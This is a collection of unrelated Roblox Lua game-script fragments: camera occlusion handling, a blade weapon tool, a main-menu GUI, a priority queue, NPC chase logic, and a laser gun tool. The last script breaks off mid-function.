p21[#p21 + 1] = p20.torsoPart.CFrame.p + l__unit__50;
p21[#p21 + 1] = p20.torsoPart.CFrame.p - l__unit__50;
p21[#p21 + 1] = p20.torsoPart.CFrame.p + l__unit__51;
p21[#p21 + 1] = p20.torsoPart.CFrame.p - l__unit__51;
if p20.headPart then
p21[#p21 + 1] = p20.headPart.CFrame.p;
end;
local v52 = p20.camera.CFrame - p20.camera.CFrame.p;
local v53 = Vector3.new(0, 0.5, 0) + (p20.torsoPart and p20.torsoPart.Position or p20.humanoidRootPart.Position);
for v54 = 1, 24 do
local v55 = u4 * v54 - 0.5 * math.pi;
local v56 = v53 + v52 * (2.5 * Vector3.new(math.cos(v55), math.sin(v55), 0));
local v57 = v56 - p20.camera.CFrame.p;
local v58, v59, v60 = game.Workspace:FindPartOnRayWithIgnoreList(Ray.new(v53, v56 - v53), { p20.char }, false, false);
local v61 = v56;
if v58 then
local v62 = v59 + 0.1 * v60.unit;
local v63 = v62 - v53;
local l__unit__64 = v63:Cross(v57).unit:Cross(v60).unit;
if v63.unit:Dot(-l__unit__64) < v63.unit:Dot((v62 - p20.camera.CFrame.p).unit) then
v61 = u5(v62, l__unit__64, v56, v57);
if v61.Magnitude > 0 then
local v65, v66, v67 = game.Workspace:FindPartOnRayWithIgnoreList(Ray.new(v62, v61 - v62), { p20.char }, false, false);
if v65 then
v61 = v66 + 0.1 * v67.unit;
end;
else
v61 = v62;
end;
else
v61 = v62;
end;
local v68, v69, v70 = game.Workspace:FindPartOnRayWithIgnoreList(Ray.new(v53, v61 - v53), { p20.char }, false, false);
if v68 then
v61 = v69 - 0.1 * (v61 - v53).unit;
end;
end;
p21[#p21 + 1] = v61;
end;
end;
function v3.CheckTorsoReference(p22)
if p22.char then
p22.torsoPart = p22.char:FindFirstChild("Torso");
if not p22.torsoPart then
p22.torsoPart = p22.char:FindFirstChild("UpperTorso");
if not p22.torsoPart then
p22.torsoPart = p22.char:FindFirstChild("HumanoidRootPart");
end;
end;
p22.headPart = p22.char:FindFirstChild("Head");
end;
end;
local u6 = {
Head = true,
["Left Arm"] = true,
["Right Arm"] = true,
["Left Leg"] = true,
["Right Leg"] = true,
LeftLowerArm = true,
RightLowerArm = true,
LeftUpperLeg = true,
RightUpperLeg = true
};
function v3.CharacterAdded(p23, p24, p25)
if p25 ~= l__Players__1.LocalPlayer then
return;
end;
if p23.childAddedConn then
p23.childAddedConn:Disconnect();
p23.childAddedConn = nil;
end;
if p23.childRemovedConn then
p23.childRemovedConn:Disconnect();
p23.childRemovedConn = nil;
end;
p23.char = p24;
p23.trackedLimbs = {};
p23.childAddedConn = p24.ChildAdded:Connect(function(p26)
if p26:IsA("BasePart") then
if u6[p26.Name] then
p23.trackedLimbs[p26] = true;
end;
if p26.Name == "Torso" or p26.Name == "UpperTorso" then
p23.torsoPart = p26;
end;
if p26.Name == "Head" then
p23.headPart = p26;
end;
end;
end);
p23.childRemovedConn = p24.ChildRemoved:Connect(function(p27)
p23.trackedLimbs[p27] = nil;
p23:CheckTorsoReference();
end);
for v71, v72 in pairs(p23.char:GetChildren()) do
if v72:IsA("BasePart") then
if u6[v72.Name] then
p23.trackedLimbs[v72] = true;
end;
if v72.Name == "Torso" or v72.Name == "UpperTorso" then
p23.torsoPart = v72;
end;
if v72.Name == "Head" then
p23.headPart = v72;
end;
end;
end;
end;
local function u7(p28, ...)
local v73 = {};
local v74 = "";
for v75, v76 in pairs({ ... }) do
v73[v76] = true;
if v74 == "" then
local v77 = "";
else
v77 = " or ";
end;
v74 = v74 .. v77 .. v76;
end;
local v78 = type(p28);
assert(v73[v78], v74 .. " type expected, got: " .. v78);
end;
function v3.SetMode(p29, p30)
u7(p30, "number");
for v79, v80 in pairs(u2) do
if v80 == p30 then
p29.mode = p30;
p29.behaviorFunction = p29.behaviors[p29.mode];
return;
end;
end;
error("Invalid mode number");
end;
function v3.GetObscuredParts(p31)
return p31.savedHits;
end;
function v3.Cleanup(p32)
for v81, v82 in pairs(p32.savedHits) do
v81.LocalTransparencyModifier = v82;
end;
end;
function v3.Update(p33, p34, p35, p36)
local v83 = nil;
if not p33.enabled or not p33.char then
return p35, p36;
end;
p33.camera = game.Workspace.CurrentCamera;
if not p33.humanoidRootPart then
local v84 = p33.char:FindFirstChildOfClass("Humanoid");
if v84 and v84.RootPart then
p33.humanoidRootPart = v84.RootPart;
else
p33.humanoidRootPart = p33.char:FindFirstChild("HumanoidRootPart");
if not p33.humanoidRootPart then
return p35, p36;
end;
end;
local u8 = nil;
u8 = p33.humanoidRootPart.AncestryChanged:Connect(function(p37, p38)
if p37 == p33.humanoidRootPart and not p38 then
p33.humanoidRootPart = nil;
if u8 and u8.Connected then
u8:Disconnect();
u8 = nil;
end;
end;
end);
end;
if not p33.torsoPart then
p33:CheckTorsoReference();
if not p33.torsoPart then
return p35, p36;
end;
end;
local v85 = {};
p33:behaviorFunction(v85);
local v86 = { p33.char };
local u9 = {};
local v87 = 0;
local v88 = {};
local v89 = 0.75;
local v90 = 0.75;
local v91 = p33.camera:GetPartsObscuringTarget({ p33.headPart and p33.headPart.CFrame.p or v85[1], p33.torsoPart and p33.torsoPart.CFrame.p or v85[2] }, v86);
for v92 = 1, #v91 do
local v93 = v91[v92];
v83 = v87 + 1;
v88[v93] = true;
for v94, v95 in pairs(v93:GetChildren()) do
if v95:IsA("Decal") then
v83 = v83 + 1;
break;
end;
if v95:IsA("Texture") then
v83 = v83 + 1;
break;
end;
end;
end;
if v83 > 0 then
v89 = math.pow(0.375 + 0.375 / v83, 1 / v83);
v90 = math.pow(0.25 + 0.25 / v83, 1 / v83);
end;
local v96 = p33.camera:GetPartsObscuringTarget(v85, v86);
local v97 = {};
for v98 = 1, #v96 do
local v99 = v96[v98];
v97[v99] = v88[v99] and v89 or v90;
if v99.Transparency < v97[v99] then
u9[v99] = true;
if not p33.savedHits[v99] then
p33.savedHits[v99] = v99.LocalTransparencyModifier;
end;
end;
for v100, v101 in pairs(v99:GetChildren()) do
if (v101:IsA("Decal") or v101:IsA("Texture")) and v101.Transparency < v97[v99] then
v97[v101] = v97[v99];
u9[v101] = true;
if not p33.savedHits[v101] then
p33.savedHits[v101] = v101.LocalTransparencyModifier;
end;
end;
end;
end;
for v102, v103 in pairs(p33.savedHits) do
if u9[v102] then
v102.LocalTransparencyModifier = v102.Transparency < 1 and (v97[v102] - v102.Transparency) / (1 - v102.Transparency) or 0;
else
v102.LocalTransparencyModifier = v103;
p33.savedHits[v102] = nil;
end;
end;
return p35, p36;
end;
return v3;
|
-- Object that the player can interact with |
local NPC_NAME = "Maja-M35"
local target = workspace:FindFirstChild(NPC_NAME):FindFirstChild("InteractionPart")
local ClickDetector = target:FindFirstChild("ClickDetector")
local InteractionFrame = target:FindFirstChild("InteractionFrame")
local InteractionImage = InteractionFrame:FindFirstChild("InteractionImage")
|
--------------------- TEMPLATE BLADE WEAPON ---------------------------
-- Waits for the child of the specified parent |
local function WaitForChild(parent, childName)
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
return parent[childName]
end
local SLASH_DAMAGE = 40
local DOWNSTAB_DAMAGE = 70
local THROWING_DAMAGE = 60
local HOLD_TO_THROW_TIME = 0.4
local Damage = 55
local MyHumanoid = nil
local MyTorso = nil
local MyCharacter = nil
local MyPlayer = nil
local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')
local BlowConnection
local Button1DownConnection
local Button1UpConnection
local PlayStabPunch
local PlayDownStab
local PlayThrow
local PlayThrowCharge
local IconUrl = Tool.TextureId -- URL to the weapon knife icon asset
local DebrisService = game:GetService('Debris')
local PlayersService = game:GetService('Players')
local SlashSound
local HitPlayers = {}
local LeftButtonDownTime = nil
local Attacking = false
function Blow(hit)
if Attacking then
BlowDamage(hit, Damage)
end
end
function BlowDamage(hit, damage)
local humanoid = hit.Parent:FindFirstChild('Humanoid')
local player = PlayersService:GetPlayerFromCharacter(hit.Parent)
if humanoid ~= nil and MyHumanoid ~= nil and humanoid ~= MyHumanoid then
if not MyPlayer.Neutral then
-- Ignore teammates hit
if player and player ~= MyPlayer and player.TeamColor == MyPlayer.TeamColor then
return
end
end
-- final check, make sure weapon is in-hand
local rightArm = MyCharacter:FindFirstChild('Right Arm')
if (rightArm ~= nil) then
-- Check if the weld exists between the hand and the weapon
local joint = rightArm:FindFirstChild('RightGrip')
if (joint ~= nil and (joint.Part0 == Handle or joint.Part1 == Handle)) then
-- Make sure you only hit them once per swing
TagHumanoid(humanoid, MyPlayer)
print("Sending " .. damage)
local checksound = humanoid.Parent:findFirstChild("Sound")
if checksound == nil then
local givesound = script.Parent.Sound:clone()
givesound.Parent = humanoid.Parent
givesound.Disabled = false
else
checksound:remove()
local givesound = script.Parent.Sound:clone()
givesound.Parent = humanoid.Parent
givesound.Disabled = false
end
wait()
humanoid:TakeDamage(humanoid.MaxHealth)
if humanoid.Health == math.huge or humanoid.MaxHealth == math.huge then
humanoid.Parent:BreakJoints()
end
end
end
end
end
function TagHumanoid(humanoid, player)
-- Add more tags here to customize what tags are available.
while humanoid:FindFirstChild('creator') do
humanoid:FindFirstChild('creator'):Destroy()
end
local creatorTag = Instance.new('ObjectValue')
creatorTag.Value = player
creatorTag.Name = 'creator'
creatorTag.Parent = humanoid
DebrisService:AddItem(creatorTag, 1.5)
local weaponIconTag = Instance.new('StringValue')
weaponIconTag.Value = IconUrl
weaponIconTag.Name = 'icon'
weaponIconTag.Parent = creatorTag
DebrisService:AddItem(weaponIconTag, 1.5)
end
function HardAttack()
Damage = SLASH_DAMAGE
HitSound:play()
if PlayStabPunch then
PlayStabPunch.Value = true
wait(1.0)
PlayStabPunch.Value = false
end
end
function NormalAttack()
Damage = DOWNSTAB_DAMAGE
KnifeDown()
HitSound:play()
if PlayDownStab then
PlayDownStab.Value = true
wait(1.0)
PlayDownStab.Value = false
end
KnifeUp()
end
function ThrowAttack()
KnifeOut()
if PlayThrow then
PlayThrow.Value = true
wait()
if not Handle then return end
local throwingHandle = Handle:Clone()
DebrisService:AddItem(throwingHandle, 5)
throwingHandle.Parent = game.Workspace
if MyCharacter and MyHumanoid then
throwingHandle.Velocity = (MyHumanoid.TargetPoint - throwingHandle.CFrame.p).unit * 100
-- set the orientation to the direction it is being thrown in
throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90))
local floatingForce = Instance.new('BodyForce', throwingHandle)
floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0)
local spin = Instance.new('BodyAngularVelocity', throwingHandle)
spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0))
end
Handle.Transparency = 1
-- Wait so that the knife has left the thrower's general area
wait()
if throwingHandle then
local Throwevent = script.Parent.ThrowHandleHitWeld:Clone()
Throwevent.Parent = throwingHandle
Throwevent.Disabled = false
local touchedConn = throwingHandle.Touched:connect(function(hit) print("hit throw") BlowDamage(hit, THROWING_DAMAGE) end)
end
-- must check if it still exists since we waited
if throwingHandle then
throwingHandle.CanCollide = true
end
wait(0.6)
if Handle and PlayThrow then
Handle.Transparency = 0
PlayThrow.Value = false
end
end
KnifeUp()
end
function KnifeUp()
Tool.GripForward = Vector3.new(0,0,-1)
Tool.GripRight = Vector3.new(1,0,0)
Tool.GripUp = Vector3.new(0,1,0)
end
function KnifeDown()
Tool.GripForward = Vector3.new(0,0,-1)
Tool.GripRight = Vector3.new(1,0,0)
Tool.GripUp = Vector3.new(0,-1,0)
end
function KnifeOut()
Tool.GripForward = Vector3.new(0,0,-1)
Tool.GripRight = Vector3.new(1,0,0)
Tool.GripUp = Vector3.new(0,1,0)
end
Tool.Enabled = true
function OnLeftButtonDown()
LeftButtonDownTime = time()
if PlayThrowCharge then
PlayThrowCharge.Value = true
end
end
function OnLeftButtonUp()
if not Tool.Enabled then return end
-- Reset the list of hit players every time we start a new attack
HitPlayers = {}
if PlayThrowCharge then
PlayThrowCharge.Value = false
end
if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then
Tool.Enabled = false
local currTime = time()
if LeftButtonDownTime and currTime - LeftButtonDownTime > HOLD_TO_THROW_TIME and
currTime - LeftButtonDownTime < 1.15 then
ThrowAttack()
else
Attacking = true
if math.random(1, 2) == 1 then
HardAttack()
else
NormalAttack()
end
Attacking = false
end
Tool.Enabled = true
end
end
function OnEquipped(mouse)
PlayStabPunch = WaitForChild(Tool, 'PlayStabPunch')
PlayDownStab = WaitForChild(Tool, 'PlayDownStab')
PlayThrow = WaitForChild(Tool, 'PlayThrow')
PlayThrowCharge = WaitForChild(Tool, 'PlayThrowCharge')
SlashSound = WaitForChild(Handle, 'Swoosh1')
HitSound = WaitForChild(Handle, 'Ting')
SlashSound:play()
BlowConnection = Handle.Touched:connect(Blow)
MyCharacter = Tool.Parent
MyTorso = MyCharacter:FindFirstChild('Torso')
MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
MyPlayer = PlayersService.LocalPlayer
if mouse then
Button1DownConnection = mouse.Button1Down:connect(OnLeftButtonDown)
Button1UpConnection = mouse.Button1Up:connect(OnLeftButtonUp)
end
KnifeUp()
end
function OnUnequipped()
-- Unequip logic here
if BlowConnection then
BlowConnection:disconnect()
BlowConnection = nil
end
if Button1DownConnection then
Button1DownConnection:disconnect()
Button1DownConnection = nil
end
if Button1UpConnection then
Button1UpConnection:disconnect()
Button1UpConnection = nil
end
MyHumanoid = nil
end
Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)
|
------------------------------------ Settings |
local Player = game.Players.LocalPlayer
local tweenService = game:GetService("TweenService")
local Char = Player.Character
local Camera = game.Workspace.CurrentCamera
local MenuCam = game.Workspace:WaitForChild("MenuCam")
local Process = false
wait(game:IsLoaded())
MenuCam.Transparency = 1
Camera.CameraType = Enum.CameraType.Scriptable
Camera.CFrame = MenuCam.CFrame
local BlurEffect = Instance.new("BlurEffect")
BlurEffect.Size = 0
BlurEffect.Parent = game.Lighting
local Black = tweenService:Create(script.Parent:WaitForChild("Black") ,TweenInfo.new(2,
Enum.EasingStyle.Linear,
Enum.EasingDirection.Out),
{Transparency = 0})
local UnBlack = tweenService:Create(script.Parent:WaitForChild("Black") ,TweenInfo.new(2,
Enum.EasingStyle.Linear,
Enum.EasingDirection.Out),
{Transparency = 1})
local Blur = tweenService:Create(BlurEffect ,TweenInfo.new(2,
Enum.EasingStyle.Linear,
Enum.EasingDirection.Out),
{Size = 20})
local UnBlur = tweenService:Create(BlurEffect ,TweenInfo.new(1,
Enum.EasingStyle.Linear,
Enum.EasingDirection.Out),
{Size = 0})
if SettingsEnabled == false then
script.Parent.SettingsButton.Visible = false
end
if CreditsEnabled == false then
script.Parent.CreditsButton.Visible = false
else
if script.Parent:WaitForChild("CreditsFrame"):WaitForChild("Frame"):FindFirstChild("TextLabel") then
if script.Parent:WaitForChild("CreditsFrame"):WaitForChild("Frame"):WaitForChild("TextLabel").Text == "Scripter -" then
script.Parent.CreditsFrame.Frame.TextLabel.Text = "Scripter - "..Player.Name
end
end
end
script.Parent:WaitForChild("GameMusic").Playing = true
script.Parent.SettingsButton.MouseButton1Click:Connect(function()
if Process == true then return end
Process = true
if script.Parent.SettingsFrame.Position == UDim2.new(0.5, 0,-0.4, 0) then
script.Parent.SettingsFrame:TweenPosition(UDim2.new(0.5, 0,0.5, 0), "Out", "Quad", 1)
script.Parent.PlayButton:TweenPosition(UDim2.new(-0.3, 0,0.353, 0), "Out", "Quad", 0.5)
script.Parent.SettingsButton:TweenPosition(UDim2.new(-0.3, 0,0.508, 0), "Out", "Quad", 0.5)
script.Parent.CreditsButton:TweenPosition(UDim2.new(-0.3, 0,0.636, 0), "Out", "Quad", 0.5)
Blur:Play()
else
script.Parent.SettingsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1)
script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5)
script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5)
script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5)
UnBlur:Play()
end
wait(2)
Process = false
end)
script.Parent.CreditsButton.MouseButton1Click:Connect(function()
if Process == true then return end
Process = true
if script.Parent.CreditsFrame.Position == UDim2.new(0.5, 0,-0.4, 0) then
script.Parent.CreditsFrame:TweenPosition(UDim2.new(0.5, 0,0.5, 0), "Out", "Quad", 1)
script.Parent.PlayButton:TweenPosition(UDim2.new(-0.3, 0,0.353, 0), "Out", "Quad", 0.5)
script.Parent.SettingsButton:TweenPosition(UDim2.new(-0.3, 0,0.508, 0), "Out", "Quad", 0.5)
script.Parent.CreditsButton:TweenPosition(UDim2.new(-0.3, 0,0.636, 0), "Out", "Quad", 0.5)
Blur:Play()
else
script.Parent.CreditsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1)
script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5)
script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5)
script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5)
UnBlur:Play()
end
wait(2)
Process = false
end)
script.Parent.CreditsFrame.ExitButton.MouseButton1Click:Connect(function()
if Process == true then return end
Process = true
script.Parent.CreditsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1)
script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5)
script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5)
script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5)
UnBlur:Play()
wait(2)
Process = false
end)
script.Parent.SettingsFrame.ExitButton.MouseButton1Click:Connect(function()
if Process == true then return end
Process = true
script.Parent.SettingsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1)
script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5)
script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5)
script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5)
UnBlur:Play()
wait(2)
Process = false
end)
if script.Parent.SettingsFrame.Frame:FindFirstChild("Shadows") then
script.Parent.SettingsFrame.Frame.Shadows.MouseButton1Click:Connect(function()
if script.Parent.SettingsFrame.Frame.Shadows.Text == "X" then
script.Parent.SettingsFrame.Frame.Shadows.Text = ""
game.Lighting.GlobalShadows = false
else
script.Parent.SettingsFrame.Frame.Shadows.Text = "X"
game.Lighting.GlobalShadows = true
end
end)
end
if script.Parent.SettingsFrame.Frame:FindFirstChild("Time") then
script.Parent.SettingsFrame.Frame.Time.MouseButton1Click:Connect(function()
if script.Parent.SettingsFrame.Frame.Time.Text == "DAY" then
script.Parent.SettingsFrame.Frame.Time.Text = "NIGHT"
game.Lighting.ClockTime = NightClockTime
else
script.Parent.SettingsFrame.Frame.Time.Text = "DAY"
game.Lighting.ClockTime = DayClockTime
end
end)
end
if script.Parent.SettingsFrame.Frame:FindFirstChild("Music") then
script.Parent.SettingsFrame.Frame.Music.MouseButton1Click:Connect(function()
if script.Parent.SettingsFrame.Frame.Music.Text == "X" then
script.Parent.SettingsFrame.Frame.Music.Text = ""
script.Parent.GameMusic.Playing = false
else
script.Parent.SettingsFrame.Frame.Music.Text = "X"
script.Parent.GameMusic.Playing = true
end
end)
end
script.Parent.PlayButton.MouseButton1Click:Connect(function()
if Process == true then return end
Process = true
Black:Play()
wait(3)
Camera.CameraType = Enum.CameraType.Custom
script.Parent.PlayButton:Destroy()
script.Parent.SettingsButton:Destroy()
script.Parent.CreditsButton:Destroy()
UnBlack:Play()
end)
|
-- // NOTE: This module is not written by me, but slightly modified \\ -- |
function PriorityQueue.new()
return setmetatable({
heap = {},
current_size = 0
}, PriorityQueue)
end
function PriorityQueue:isEmpty()
return self.current_size == 0
end
function PriorityQueue:size()
return self.current_size
end
function PriorityQueue:swim()
-- Swim up on the tree and fix the order heap property.
local floor = floor
local heap = self.heap
local i = self.current_size
local half = floor(i / 2)
while half > 0 do
if heap[i][2] < heap[half][2] then
heap[i], heap[half] = heap[half], heap[i]
end
i = half
half = floor(i / 2)
end
end
function PriorityQueue:Push(v, p)
--[[ Put an item on the queue.
Args:
v: the item to be stored
p(number): the priority of the item
]]--
--
table.insert(self.heap, {v, p})
self.current_size += 1
self:swim()
end
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- |
local path
local waypoint
local chaseName = nil
function GetTorso(part)
local chars = game.Workspace:GetDescendants()
local chaseRoot = nil
local chaseTorso = nil
local chasePlr = nil
local chaseHuman = nil
local mag = SearchDistance
script.Parent.WantToAttack.Changed:Connect(function()
if script.Parent.WantToAttack.Value == true then
mag = SearchDistance
else
if script.Parent.WantToScare.Value == true then
mag = SearchDistance/1.5
else
mag = 0
end
end
end)
for i = 1, #chars do
chasePlr = chars[i]
if chasePlr:IsA'Model' and not chasePlr:FindFirstChild("Enemy") and chasePlr:FindFirstChild("Seen") then
chaseHuman = getHumanoid(chasePlr)
chaseRoot = chasePlr:FindFirstChild'HumanoidRootPart'
if chaseRoot ~= nil and chaseHuman ~= nil and chaseHuman.Health > 0 and not chaseHuman:FindFirstChild("Enemy") and not chasePlr:FindFirstChild("Helper") then
if (chaseRoot.Position - part).magnitude < mag then
chaseName = chasePlr.Name
chaseTorso = chaseRoot
mag = (chaseRoot.Position - part).magnitude
end
end
end
end
return chaseTorso
end
function GetPlayersBodyParts(t)
local torso = t
if torso then
local figure = torso.Parent
for _, v in pairs(figure:GetChildren())do
if v:IsA'Part' then
return v.Name
end
end
else
return "HumanoidRootPart"
end
end
|
--Made by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Barrel = Handle:WaitForChild("Muzzle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
UserInputService = game:GetService("UserInputService")
AmmoDisplay = script:WaitForChild("AmmoDisplay"):Clone()
CastLaser = Tool:WaitForChild("CastLaser"):Clone()
Camera = game:GetService("Workspace").CurrentCamera
BaseUrl = "http://www.roblox.com/asset/?id="
AnimationTracks = {}
LocalObjects = {}
Animations = {
Hold = {Animation = Tool:WaitForChild("Hold"), FadeTime = nil, Weight = nil, Speed = 1, Duration = 2},
Fire = {Animation = Tool:WaitForChild("Fire"), FadeTime = 0.25, Weight = nil, Speed = 0.5, Duration = 0.5},
Reload = {Animation = Tool:WaitForChild("Reload"), FadeTime = nil, Weight = nil, Speed = 0.5, Duration = 3},
}
Sounds = {
Reload = Handle:WaitForChild("Reload"),
NoAmmo = Handle:WaitForChild("NoAmmo"),
}
Modules = Tool:WaitForChild("Modules")
Functions = require(Modules:WaitForChild("Functions"))
Remotes = Tool:WaitForChild("Remotes")
ServerControl = Remotes:WaitForChild("ServerControl")
ClientControl = Remotes:WaitForChild("ClientControl")
ConfigurationBin = Tool:WaitForChild("Configuration")
Configuration = {}
Configuration = Functions.CreateConfiguration(ConfigurationBin, Configuration)
InputCheck = Instance.new("ScreenGui")
InputCheck.Name = "InputCheck"
InputButton = Instance.new("ImageButton")
InputButton.Name = "InputButton"
InputButton.Image = ""
InputButton.BackgroundTransparency = 1
InputButton.ImageTransparency = 1
InputButton.Size = UDim2.new(1, 0, 1, 0)
InputButton.Parent = InputCheck
Cursors = {
Normal = (BaseUrl .. "170908665"),
EnemyHit = (BaseUrl .. "172618259"),
}
Rate = (1 / 60)
FiringOffset = Vector3.new(0, ((Handle.Size.Y / 4) - 0.2), -(Handle.Size.Z / 2))
Reloading = false
MouseDown = false
ToolEquipped = false
Tool.Enabled = true
function SetAnimation(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
for i, v in pairs(AnimationTracks) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop()
table.remove(AnimationTracks, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
table.insert(AnimationTracks, {Animation = value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
elseif mode == "StopAnimation" and value then
for i, v in pairs(AnimationTracks) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop(value.FadeTime)
table.remove(AnimationTracks, i)
end
end
end
end
function ToggleGui()
if not AmmoDisplayClone or not AmmoDisplayClone.Parent then
return
end
local Frame = AmmoDisplayClone.Frame
local Ammo = Frame.Ammo
if Configuration.Ammo.ClipSize.MaxValue > 0 then
Ammo.AmmoCounter.CounterPart.Text = Configuration.Ammo.ClipSize.Value
end
Ammo.MagCounter.CounterPart.Text = Configuration.Ammo.Magazines.Value
end
function Reload()
if Reloading or not Tool.Enabled or Configuration.Ammo.Magazines.Value >= Configuration.Ammo.Magazines.MaxValue then
return
end
Tool.Enabled = false
Reloading = true
ToggleGui()
local CanReload = true
if Configuration.Ammo.ClipSize.MaxValue > 0 and Configuration.Ammo.ClipSize.Value <= 0 then
CanReload = false
else
CanReload = true
end
if CanReload then
Spawn(function()
local Animation = Animations.Reload
OnClientInvoke("PlayAnimation", Animation)
wait(Animation.Duration)
OnClientInvoke("StopAnimation", Animation)
end)
Sounds.Reload:Play()
local AddedClips = ((Configuration.Ammo.Magazines.MaxValue > 0 and (Configuration.Ammo.Magazines.MaxValue - Configuration.Ammo.Magazines.Value)) or Configuration.Ammo.ClipSize.MaxValue)
if Configuration.Ammo.ClipSize.MaxValue > 0 then
AddedClips = ((AddedClips > Configuration.Ammo.ClipSize.Value and Configuration.Ammo.ClipSize.Value) or AddedClips)
end
--[[local ReloadRate = (Configuration.ReloadTime.Value / Configuration.Ammo.Magazines.MaxValue)
for i = 1, AddedClips do
wait(ReloadTime)
Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value + 1)
end]]
wait(Configuration.ReloadTime.Value)
Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value + AddedClips)
Configuration.Ammo.ClipSize.Value = (Configuration.Ammo.ClipSize.Value - AddedClips)
Sounds.Reload:Stop()
ToggleGui()
end
Reloading = false
Tool.Enabled = true
end
function RayTouched(Hit, Position)
if not Hit or not Hit.Parent then
return
end
local character = Hit.Parent
if character:IsA("Hat") then
character = character.Parent
end
if character == Character then
return
end
local humanoid = character:FindFirstChild("Humanoid")
local SoundChosen = Sounds.RayHit
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and Functions.IsTeamMate(Player, player) then
return
end
Spawn(function()
IconChangeTick = tick()
PlayerMouse.Icon = Cursors.EnemyHit
wait(1)
if (tick() - IconChangeTick) >= 0.95 and ToolEquipped and PlayerMouse then
PlayerMouse.Icon = Cursors.Normal
end
end)
end
function FireRay(StartPosition, TargetPosition)
local Direction = CFrame.new(StartPosition, TargetPosition).lookVector
local RayHit, RayPos, RayNormal = Functions.CastRay(StartPosition, Direction, Configuration.Range.Value, {Character}, false)
local Backpack = Player:FindFirstChild("Backpack")
if Backpack then
local LaserScript = CastLaser:Clone()
local StartPos = Instance.new("Vector3Value")
StartPos.Name = "StartPosition"
StartPos.Value = StartPosition
StartPos.Parent = LaserScript
local TargetPos = Instance.new("Vector3Value")
TargetPos.Name = "TargetPosition"
TargetPos.Value = RayPos
TargetPos.Parent = LaserScript
local RayHit = Instance.new("BoolValue")
RayHit.Name = "RayHit"
RayHit.Value = RayHit
RayHit.Parent = LaserScript
LaserScript.Disabled = false
LaserScript.Parent = Backpack
end
Spawn(function()
InvokeServer("CastLaser", {StartPosition = StartPosition, TargetPosition = RayPos, RayHit = ((RayHit and true) or false)})
end)
Spawn(function()
InvokeServer("RayHit", {Hit = RayHit, Position = RayPos})
end)
RayTouched(RayHit, RayPos)
end
function Button1Pressed(Down)
if not Down and MouseDown then
MouseDown = false
end
end
function KeyPress(Key, Down)
if Key == "r" and Down then
Reload()
end
end
function Activated()
if not Tool.Enabled or not ToolEquipped or Reloading then
return
end
Tool.Enabled = false
if Configuration.Ammo.Magazines.Value > 0 then
local FirstShot = false
if Configuration.Automatic.Value then
MouseDown = true
end
OnClientInvoke("StopAnimation", {Animation = Animations.Fire.Animation, FadeTime = nil})
OnClientInvoke("PlayAnimation", Animations.Fire)
while MouseDown or not FirstShot and ToolEquipped and CheckIfAlive() do
if Configuration.Ammo.Magazines.Value <= 0 or not ToolEquipped or not CheckIfAlive() then
break
end
if not FirstShot then
FirstShot = true
end
local BurstAmount = math.random(Configuration.Burst.Bullets.MinValue, Configuration.Burst.Bullets.MaxValue)
local WithinFiringRange = false
Spawn(function()
InvokeServer("Fire", true)
end)
for i = 1, ((BurstAmount > 0 and BurstAmount) or 1) do
local TargetPosition = OnClientInvoke("MousePosition")
if not TargetPosition then
break
end
TargetPosition = TargetPosition.Position
local StartPosition = Barrel.WorldPosition --(Handle.CFrame * CFrame.new(FiringOffset.X, FiringOffset.Y, FiringOffset.Z)).p
if BurstAmount > 0 then
local Offset = (Configuration.Burst.Offset.Value * 100)
TargetPosition = TargetPosition + Vector3.new((math.random(-Offset.X, Offset.X) * 0.01), (math.random(-Offset.Y, Offset.Y) * 0.01), (math.random(-Offset.Z, Offset.Z) * 0.01))
end
local Accuracy = (Configuration.Accuracy.Value * 100)
